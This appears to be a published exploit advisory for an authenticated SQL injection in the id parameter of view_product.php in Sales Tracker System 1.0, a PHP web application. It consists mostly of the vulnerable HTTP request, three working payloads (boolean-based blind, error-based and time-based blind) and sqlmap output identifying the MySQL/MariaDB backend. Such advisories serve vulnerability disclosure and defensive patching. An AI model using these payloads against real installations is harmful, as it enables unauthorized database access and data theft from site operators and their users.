Sales Tracker System 1.0 SQL Injection

`# Exploit Title: Authenticated SQL Injection on Sales Tracker System  
# Google Dork: NA  
# Date: 21/2/2023  
# Exploit Author: Ahmed Ismail (@MrOz1l)  
# Vendor Homepage:  
https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html  
# Software Link: [download link if available]  
# Version: 1.0  
# Tested on: Windows 11  
  
```  
  
GET /php-sts/admin/products/view_product.php?id=5' HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)  
Gecko/20100101 Firefox/110.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Connection: close  
Referer: http://localhost/php-sts/admin/?page=products  
Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhg  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
```  
  
# Payload  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=5' AND 3888=3888-- vxtB  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: id=5' OR (SELECT 7013 FROM(SELECT  
COUNT(*),CONCAT(0x7162767671,(SELECT  
(ELT(7013=7013,1))),0x7170717671,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ikkJ  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=5' AND (SELECT 2482 FROM (SELECT(SLEEP(5)))dHEy)-- ehsZ  
---  
[15:47:48] [INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.54, PHP 8.0.25  
back-end DBMS: MySQL >= 5.0 (MariaDB fork)  
`